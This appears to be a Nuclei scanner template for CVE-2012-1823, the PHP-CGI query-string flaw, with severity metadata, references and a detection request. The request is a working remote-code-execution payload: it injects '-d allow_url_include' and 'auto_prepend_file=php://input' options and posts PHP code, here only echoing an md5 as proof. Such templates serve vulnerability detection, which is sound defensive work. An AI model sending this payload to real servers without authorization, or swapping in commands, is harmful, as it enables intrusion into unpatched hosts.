51 lines
1.8 KiB
YAML
51 lines
1.8 KiB
YAML
id: CVE-2012-1823
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info:
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name: PHP CGI v5.3.12/5.4.2 Remote Code Execution
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author: pikpikcu
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severity: high
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description: |
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sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
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impact: |
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Remote code execution
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remediation: |
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Upgrade to a patched version of PHP or apply the necessary security patches.
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reference:
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- https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
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- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
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- https://bugs.php.net/bug.php?id=61910
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- http://www.php.net/ChangeLog-5.php#5.4.2
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- http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041
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classification:
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cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
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cvss-score: 7.5
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cve-id: CVE-2012-1823
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cwe-id: CWE-20
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epss-score: 0.97491
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epss-percentile: 0.99972
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cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: php
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product: php
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tags: cve,cve2012,kev,vulhub,rce,php
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variables:
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string: "CVE-2012-1823"
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http:
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- raw:
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- |
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POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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<?php echo md5("{{string}}");?>
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '{{md5(string)}}'
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# digest: 490a0046304402201ac0c2b72933df8c0fb7ef1c5a6a19a79cd40e76379881895be285e80251e69102203260f22d356f293b8ba1f047f27246d4f8c53067e6d42af2772d64392ea8fa07:922c64590222798bb761d5b6d8e72950 |